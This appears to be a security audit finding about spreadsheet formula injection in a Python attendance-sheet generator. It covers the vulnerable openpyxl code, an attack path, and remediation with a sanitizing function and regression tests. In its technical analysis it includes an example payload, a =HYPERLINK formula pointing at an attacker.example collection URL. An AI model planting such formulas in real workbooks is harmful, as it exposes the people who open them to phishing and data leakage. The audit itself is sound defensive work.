T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/generate_attendance.py:117
- Finding
- Spreadsheet Formula Injection Through Employee Names<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate_attendance.py`, lines 117–118 **Vulnerability Type**: Spreadsheet formula injection **Risk Level**: Medium ### Vulnerable Code ```python # Employee rows for emp_idx, emp_name in enumerate(employees, start=row + 1): ws.cell(row=emp_idx, column=1, value=emp_name).border = thin_border ws.cell(row=emp_idx, column=1).alignment = center_align ``` The employee names originate from untrusted command-line or JSON input: ```python if args.json: data = json.loads(args.json) employees = data.get("employees", []) start_date = data.get("start_date", args.start) end_date = data.get("end_date", args.end) else: employees = [e.strip() for e in args.employees.split(",")] start_date = args.start end_date = args.end ``` ### Technical Analysis Employee names are written directly into XLSX cells without validation or formula neutralization. Values beginning with spreadsheet formula indicators—particularly `=`, and potentially `+`, `-`, or `@` depending on the spreadsheet application—may be interpreted as formulas rather than literal text. For example, an attacker could submit an employee name such as: ```text =HYPERLINK("https://attacker.example/collect","Employee record") ``` The generated workbook would contain this value as a formula. When an HR employee or administrator opens and interacts with the workbook, the spreadsheet application may evaluate it or present an attacker-controlled link. More application-specific formulas could attempt external-resource access or abuse legacy formula features, subject to the spreadsheet application's security settings. ### Attack Path 1. An attacker controls or influences an employee name supplied through `--employees` or the `employees` property in `--json`. 2. The attacker provides a name beginning with a formula marker, such as `=HYPERLINK(...)`. 3. `create_attendance_sheet()` passes the value directly to `openpyxl` withou ...[truncated 1176 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions Treat all user-controlled strings written to spreadsheet cells as untrusted text. 1. Create a centralized neutralization function that prefixes formula-leading values with an apostrophe: ```python def sanitize_spreadsheet_text(value): if not isinstance(value, str): return value value = value.replace("\x00", "") if value.startswith(("=", "+", "-", "@")): return "'" + value return value ``` 2. Apply it before writing employee names: ```python safe_name = sanitize_spreadsheet_text(emp_name) cell = ws.cell(row=emp_idx, column=1, value=safe_name) cell.number_format = "@" cell.border = thin_border cell.alignment = center_align ``` 3. Consider rejecting control characters and enforcing a reasonable maximum employee-name length. 4. Apply the same protection to every future user-controlled field written into the workbook, including attendance statuses, comments, worksheet titles, and imported metadata. 5. Add regression tests using values beginning with `=`, `+`, `-`, and `@`, then verify that the resulting cells are stored and displayed as literal text rather than formulas. ]]>
